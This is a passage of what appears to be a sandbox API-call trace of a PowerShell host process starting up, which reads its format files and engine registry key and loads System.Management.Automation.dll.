[0149.169] VirtualQuery (in: lpAddress=0x2bd4b4, lpBuffer=0x2be4b4, dwLength=0x1c | out: lpBuffer=0x2be4b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.169] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xd3ea7a36, Data2=0x7d9, Data3=0x42d9, Data4=([0]=0xa9, [1]=0xe7, [2]=0x11, [3]=0x66, [4]=0x91, [5]=0xf8, [6]=0xd4, [7]=0xde))) returned 0x0 [0149.170] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x2b0b2919, Data2=0x9f94, Data3=0x445f, Data4=([0]=0x81, [1]=0x25, [2]=0xbf, [3]=0x56, [4]=0xa8, [5]=0x33, [6]=0xcc, [7]=0x74))) returned 0x0 [0149.170] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x4a7ca0f5, Data2=0x15b1, Data3=0x450b, Data4=([0]=0xac, [1]=0x9b, [2]=0x38, [3]=0x90, [4]=0xa8, [5]=0xb2, [6]=0x8c, [7]=0xf1))) returned 0x0 [0149.171] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xd6763089, Data2=0x22d4, Data3=0x48fd, Data4=([0]=0xa1, [1]=0x8a, [2]=0x3c, [3]=0xb, [4]=0xf1, [5]=0xf8, [6]=0x9c, [7]=0xc))) returned 0x0 [0149.171] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xe597e70f, Data2=0x77b7, Data3=0x46ae, Data4=([0]=0xb6, [1]=0x42, [2]=0xf0, [3]=0x7e, [4]=0xb7, [5]=0x12, [6]=0xe, [7]=0xc4))) returned 0x0 [0149.172] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xc6c9c3b9, Data2=0x3034, Data3=0x4b72, Data4=([0]=0xbe, [1]=0xe1, [2]=0x60, [3]=0x79, [4]=0xf2, [5]=0x73, [6]=0xc6, [7]=0x78))) returned 0x0 [0149.172] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xd88c336d, Data2=0x602f, Data3=0x4a67, Data4=([0]=0x9f, [1]=0x1a, [2]=0x48, [3]=0x4e, [4]=0xe1, [5]=0x26, [6]=0x74, [7]=0xeb))) returned 0x0 [0149.172] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x5e2fbfe8, Data2=0x70ff, Data3=0x4416, Data4=([0]=0x9a, [1]=0x71, [2]=0x73, [3]=0x8f, [4]=0x9, [5]=0x5, [6]=0xf7, [7]=0xe4))) returned 0x0 [0149.173] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xfb6c90b2, Data2=0x6819, Data3=0x4e0f, Data4=([0]=0xa7, [1]=0xb8, [2]=0xaa, [3]=0x8b, [4]=0x5c, [5]=0x5b, [6]=0x6d, [7]=0xd2))) returned 0x0 [0149.173] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x3c6b9af1, Data2=0xfcc2, Data3=0x411b, Data4=([0]=0xa0, [1]=0xe3, [2]=0xee, [3]=0x35, [4]=0x83, [5]=0x7d, [6]=0xc7, [7]=0x3))) returned 0x0 [0149.173] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x75d4a0cb, Data2=0x80aa, Data3=0x4dd1, Data4=([0]=0xbd, [1]=0x3d, [2]=0xbc, [3]=0x4c, [4]=0x1, [5]=0x15, [6]=0x37, [7]=0x16))) returned 0x0 [0149.174] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x97f63188, Data2=0xecdc, Data3=0x472d, Data4=([0]=0x93, [1]=0x4b, [2]=0x8c, [3]=0x6b, [4]=0x80, [5]=0x0, [6]=0xd3, [7]=0xcb))) returned 0x0 [0149.174] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x34988964, Data2=0x1c0f, Data3=0x4e55, Data4=([0]=0x8e, [1]=0xc6, [2]=0xa6, [3]=0xab, [4]=0x37, [5]=0x5a, [6]=0x88, [7]=0xa6))) returned 0x0 [0149.174] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x8be35cde, Data2=0xa181, Data3=0x4f5f, Data4=([0]=0x94, [1]=0x90, [2]=0x7, [3]=0xe5, [4]=0x3e, [5]=0xf7, [6]=0x85, [7]=0x98))) returned 0x0 [0149.175] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x5c40ffe2, Data2=0x1af5, Data3=0x43e2, Data4=([0]=0xa9, [1]=0xea, [2]=0x8f, [3]=0xe8, [4]=0x82, [5]=0x3a, [6]=0x47, [7]=0x5c))) returned 0x0 [0149.175] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x209d9393, Data2=0x487c, Data3=0x41be, Data4=([0]=0xba, [1]=0x31, [2]=0x3d, [3]=0x40, [4]=0x41, [5]=0xcc, [6]=0xbe, [7]=0x17))) returned 0x0 [0149.175] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x346373e9, Data2=0xcd41, Data3=0x4028, Data4=([0]=0x93, [1]=0x87, [2]=0xb7, [3]=0x95, [4]=0x5d, [5]=0x8e, [6]=0xab, [7]=0x9f))) returned 0x0 [0149.176] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x8b434cfe, Data2=0x5d24, Data3=0x4655, Data4=([0]=0xb4, [1]=0x5, [2]=0xd6, [3]=0x70, [4]=0xde, [5]=0x81, [6]=0x56, [7]=0x86))) returned 0x0 [0149.176] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x94d7af87, Data2=0x91a0, Data3=0x4b37, Data4=([0]=0x8c, [1]=0x71, [2]=0xaa, [3]=0x3f, [4]=0x72, [5]=0xce, [6]=0xc0, [7]=0x77))) returned 0x0 [0149.176] VirtualQuery (in: lpAddress=0x2bd360, lpBuffer=0x2be360, dwLength=0x1c | out: lpBuffer=0x2be360*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.177] VirtualQuery (in: lpAddress=0x2bd360, lpBuffer=0x2be360, dwLength=0x1c | out: lpBuffer=0x2be360*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.182] VirtualQuery (in: lpAddress=0x2bd360, lpBuffer=0x2be360, dwLength=0x1c | out: lpBuffer=0x2be360*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.186] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x80d5a89e, Data2=0x889a, Data3=0x460d, Data4=([0]=0x84, [1]=0xfc, [2]=0xc4, [3]=0x5f, [4]=0xa8, [5]=0x99, [6]=0xc7, [7]=0x34))) returned 0x0 [0149.186] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be0cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0149.187] GetLastError () returned 0x0 [0149.187] SetErrorMode (uMode=0x1) returned 0x1 [0149.187] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x314 [0149.187] GetLastError () returned 0x0 [0149.187] GetFileType (hFile=0x314) returned 0x1 [0149.187] SetErrorMode (uMode=0x1) returned 0x1 [0149.187] GetFileType (hFile=0x314) returned 0x1 [0149.189] ReadFile (in: hFile=0x314, lpBuffer=0x3266a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x3266a78*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.192] GetLastError () returned 0x0 [0149.194] ReadFile (in: hFile=0x314, lpBuffer=0x3266a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x3266a78*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.194] GetLastError () returned 0x0 [0149.195] ReadFile (in: hFile=0x314, lpBuffer=0x3266a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x3266a78*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.195] GetLastError () returned 0x0 [0149.195] ReadFile (in: hFile=0x314, lpBuffer=0x3266a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x3266a78*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.195] GetLastError () returned 0x0 [0149.197] ReadFile (in: hFile=0x314, lpBuffer=0x3266a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x3266a78*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.198] GetLastError () returned 0x0 [0149.198] ReadFile (in: hFile=0x314, lpBuffer=0x3266a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x3266a78*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.198] GetLastError () returned 0x0 [0149.198] ReadFile (in: hFile=0x314, lpBuffer=0x3266a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x3266a78*, lpNumberOfBytesRead=0x2be634*=0x119, lpOverlapped=0x0) returned 1 [0149.198] GetLastError () returned 0x0 [0149.198] ReadFile (in: hFile=0x314, lpBuffer=0x3266a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x3266a78*, lpNumberOfBytesRead=0x2be634*=0x0, lpOverlapped=0x0) returned 1 [0149.198] GetLastError () returned 0x0 [0149.199] CloseHandle (hObject=0x314) returned 1 [0149.199] GetLastError () returned 0x0 [0149.199] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be194, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0149.199] GetLastError () returned 0x0 [0149.199] SetErrorMode (uMode=0x1) returned 0x1 [0149.199] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x3287a74 | out: lpFileInformation=0x3287a74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0149.199] GetLastError () returned 0x0 [0149.199] SetErrorMode (uMode=0x1) returned 0x1 [0149.199] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0149.200] GetLastError () returned 0x0 [0149.200] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be5b8 | out: phkResult=0x2be5b8*=0x314) returned 0x0 [0149.200] RegQueryValueExW (in: hKey=0x314, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x0, lpcbData=0x2be5fc*=0x0 | out: lpType=0x2be600*=0x1, lpData=0x0, lpcbData=0x2be5fc*=0x56) returned 0x0 [0149.201] RegQueryValueExW (in: hKey=0x314, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x67b350, lpcbData=0x2be5fc*=0x56 | out: lpType=0x2be600*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2be5fc*=0x56) returned 0x0 [0149.201] RegCloseKey (hKey=0x314) returned 0x0 [0149.201] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0149.201] GetLastError () returned 0x0 [0149.201] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be0f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0149.201] GetLastError () returned 0x0 [0149.203] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.203] GetLastError () returned 0x0 [0149.203] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.203] GetLastError () returned 0x0 [0149.204] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.204] GetLastError () returned 0x0 [0149.204] VirtualQuery (in: lpAddress=0x2bd310, lpBuffer=0x2be310, dwLength=0x1c | out: lpBuffer=0x2be310*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.204] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x67bd965e, Data2=0xd5dd, Data3=0x4a43, Data4=([0]=0xba, [1]=0xf5, [2]=0x82, [3]=0x13, [4]=0x12, [5]=0x13, [6]=0x49, [7]=0x57))) returned 0x0 [0149.205] VirtualQuery (in: lpAddress=0x2bd360, lpBuffer=0x2be360, dwLength=0x1c | out: lpBuffer=0x2be360*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.206] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x36aea16d, Data2=0xf075, Data3=0x4849, Data4=([0]=0x90, [1]=0xbf, [2]=0x6d, [3]=0x83, [4]=0x2e, [5]=0xef, [6]=0xa2, [7]=0x6c))) returned 0x0 [0149.207] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x645b2b00, Data2=0x7d2f, Data3=0x44f3, Data4=([0]=0xaa, [1]=0xd7, [2]=0x59, [3]=0x10, [4]=0x9a, [5]=0xe0, [6]=0x82, [7]=0x65))) returned 0x0 [0149.207] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x754ef9ba, Data2=0xbc4e, Data3=0x4020, Data4=([0]=0x9c, [1]=0x4b, [2]=0x12, [3]=0x60, [4]=0xd7, [5]=0x67, [6]=0x32, [7]=0xfd))) returned 0x0 [0149.207] VirtualQuery (in: lpAddress=0x2bd360, lpBuffer=0x2be360, dwLength=0x1c | out: lpBuffer=0x2be360*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.208] VirtualQuery (in: lpAddress=0x2bd360, lpBuffer=0x2be360, dwLength=0x1c | out: lpBuffer=0x2be360*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.208] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be0cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0149.208] GetLastError () returned 0x0 [0149.208] SetErrorMode (uMode=0x1) returned 0x1 [0149.209] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x314 [0149.209] GetLastError () returned 0x0 [0149.209] GetFileType (hFile=0x314) returned 0x1 [0149.209] SetErrorMode (uMode=0x1) returned 0x1 [0149.209] GetFileType (hFile=0x314) returned 0x1 [0149.210] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.213] GetLastError () returned 0x0 [0149.217] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.217] GetLastError () returned 0x0 [0149.217] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.218] GetLastError () returned 0x0 [0149.218] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.218] GetLastError () returned 0x0 [0149.220] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.220] GetLastError () returned 0x0 [0149.220] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.220] GetLastError () returned 0x0 [0149.220] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.221] GetLastError () returned 0x0 [0149.221] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.221] GetLastError () returned 0x0 [0149.225] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.225] GetLastError () returned 0x0 [0149.226] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.226] GetLastError () returned 0x0 [0149.226] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.226] GetLastError () returned 0x0 [0149.227] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.227] GetLastError () returned 0x0 [0149.227] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.227] GetLastError () returned 0x0 [0149.228] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.228] GetLastError () returned 0x0 [0149.228] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.230] GetLastError () returned 0x0 [0149.231] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.231] GetLastError () returned 0x0 [0149.238] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.238] GetLastError () returned 0x0 [0149.239] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.239] GetLastError () returned 0x0 [0149.239] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.239] GetLastError () returned 0x0 [0149.240] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.240] GetLastError () returned 0x0 [0149.240] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.240] GetLastError () returned 0x0 [0149.241] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.241] GetLastError () returned 0x0 [0149.241] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.241] GetLastError () returned 0x0 [0149.242] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.242] GetLastError () returned 0x0 [0149.242] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.242] GetLastError () returned 0x0 [0149.243] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.243] GetLastError () returned 0x0 [0149.243] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.243] GetLastError () returned 0x0 [0149.244] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.244] GetLastError () returned 0x0 [0149.244] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.244] GetLastError () returned 0x0 [0149.245] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.245] GetLastError () returned 0x0 [0149.245] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.245] GetLastError () returned 0x0 [0149.246] ReadFile (in: hFile=0x314, 